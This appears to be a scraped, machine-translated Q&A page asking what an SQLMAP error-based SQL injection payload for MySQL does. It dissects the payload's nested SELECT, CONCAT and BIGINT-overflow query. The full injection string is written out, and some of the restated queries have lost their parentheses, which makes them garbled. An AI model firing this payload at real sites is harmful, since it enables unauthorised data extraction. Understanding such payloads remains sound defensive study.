Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/sql/81.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Mysql 这个SQLMAP负载中的SQL查询做什么?_Mysql_Sql_Sqlmap - Fatal编程技术网

Mysql 这个SQLMAP负载中的SQL查询做什么?

Mysql 这个SQLMAP负载中的SQL查询做什么?,mysql,sql,sqlmap,Mysql,Sql,Sqlmap,我正在尝试使用基于错误的SQL注入技术。SQLMAP识别的技术是 基于错误-WHERE、HAVING、ORDER BY或GROUP BY子句BIGINT UNSIGNED 如果有人能够帮助您澄清SQLMAP正在使用的有效负载,那将是非常棒的 Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x

我正在尝试使用基于错误的SQL注入技术。SQLMAP识别的技术是

基于错误-WHERE、HAVING、ORDER BY或GROUP BY子句BIGINT UNSIGNED

如果有人能够帮助您澄清SQLMAP正在使用的有效负载,那将是非常棒的

Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- pprs
更具体地说,这个SQL查询中发生了什么

(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610))) 
更新1:

格式化查询如下所示:

SELECT
   2*(IF((
   SELECT
      * 
   FROM
      (
         SELECT
            CONCAT(0x716b626b71, 
            (
               SELECT
(ELT(9092 = 9092, 1))
            )
, 0x71626b7071, 0x78)
      )
      s), 8446744073709551610, 8446744073709551610))
选择ELT9092=9092,1:查询输出为1,因为9092=9092结果为truei.e1,ELT函数返回第一个参数,即1

因此,下一个子查询是: 选择CONCAT0x716b626b71,1,0x71626b7071,0x78:在将十六进制转换为字符串后,查询连接字符串qkbkq1qbkpqx的输出结果

但是,从qkbkq1qbkpqx生成的子查询SELECT*会给出一个错误,指出每个派生表都必须有自己的别名

更新2:

我在查询中遗漏了@tcadidot0提到的别名。因此,现在生成的子查询是: 从qkbkq1qbkpqx s中选择*

最后一个查询是: 从qkbkq1qbkpqx s、8446744073709551610、8446744073709551610中选择2*IFSELECT*

如果表qkbkq1qbkpqx存在,则返回8446744073709551610,否则返回8446744073709551610,但结果的2倍会导致此错误:BIGINT值超出“2*如果1>08446744073709551610844744073709551610”的范围,假设1>0是条件,而不是select语句。

请参阅:包含此查询中的s select*从select CONCAT0x716b626b71,从该链接答案中选择ELT9092=9092,1,0x71626b7071,0x78。大整数实际上并不限于20位,它们仅限于可以用64位表示的数字。例如,数字99999999999999999虽然有20位长,但不是有效的大整数。